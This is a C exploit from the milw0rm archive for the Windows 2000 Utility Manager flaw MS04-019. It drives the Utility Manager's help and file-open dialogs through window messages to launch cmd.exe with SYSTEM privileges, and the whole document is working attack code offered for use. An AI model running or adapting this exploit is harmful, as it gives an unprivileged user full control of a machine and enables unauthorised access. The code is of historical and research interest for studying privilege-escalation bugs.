Microsoft Windows Server 2000 - Utility Manager Privilege Escalation (MS04-019)

//by Cesar Cerrudo  sqlsec at yahoo.com
//Local elevation of priviliges exploit for Windows 2K Utility Manager (second one!!!!)
//Gives you a shell with system privileges
//If you have problems try changing Sleep() values.

#include "stdio.h"
#include "windows.h"


int main(int argc, char* argv[])
{
 HWND lHandle, lHandle2;
 POINT point;
 char sText[]="%windir%\\system32\\cmd.ex?";

//  run utility manager
// system("utilman.exe /start");
// Sleep(500);

 lHandle=FindWindow(NULL, "Utility manager");
 if (!lHandle) {
  printf("\nUsage :\nPress Win Key+U to launch Utility Manager and then
run UtilManExploit2.exe\n");
  return 0;
 }

 PostMessage(lHandle,0x313,NULL,NULL); //=right click on the app button
in the taskbar or Alt+Space Bar

 Sleep(100);

 SendMessage(lHandle,0x365,NULL,0x1); //send WM_COMMANDHELP  0x0365
lParam must be <>NULL
 Sleep(300);

 SendMessage (FindWindow(NULL, "Windows Help"), WM_IME_KEYDOWN,
VK_RETURN, 0);
 Sleep(500);


 // find open file dialog window
 lHandle = FindWindow("#32770","Open");

 // get input box handle
 lHandle2 = GetDlgItem(lHandle, 0x47C);
 Sleep(500);

 // set text to filter listview to display only cmd.exe
 SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
 Sleep(800);

 // send return
 SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

 //get navigation bar handle
 lHandle2 = GetDlgItem(lHandle, 0x4A0);

 //send tab
 SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
 Sleep(500);
 lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
 //get list view handle
 lHandle2 = GetDlgItem(lHandle2, 0x1);

 SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
 SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
 SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
 Sleep(500);

 //popup context menu
 PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
 Sleep(1000);

 // get context menu handle
 point.x =10; point.y =30;
 lHandle2=WindowFromPoint(point);

 SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
 SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
 SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return

 SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
 Sleep(500);
 SendMessage (FindWindow(NULL, "Windows Help"), WM_CLOSE, 0, 0);//
close open error window
 SendMessage (FindWindow(NULL, "Utility manager"), WM_CLOSE, 0, 0);//
close utility manager
 return 0;
}


// milw0rm.com [2004-07-14]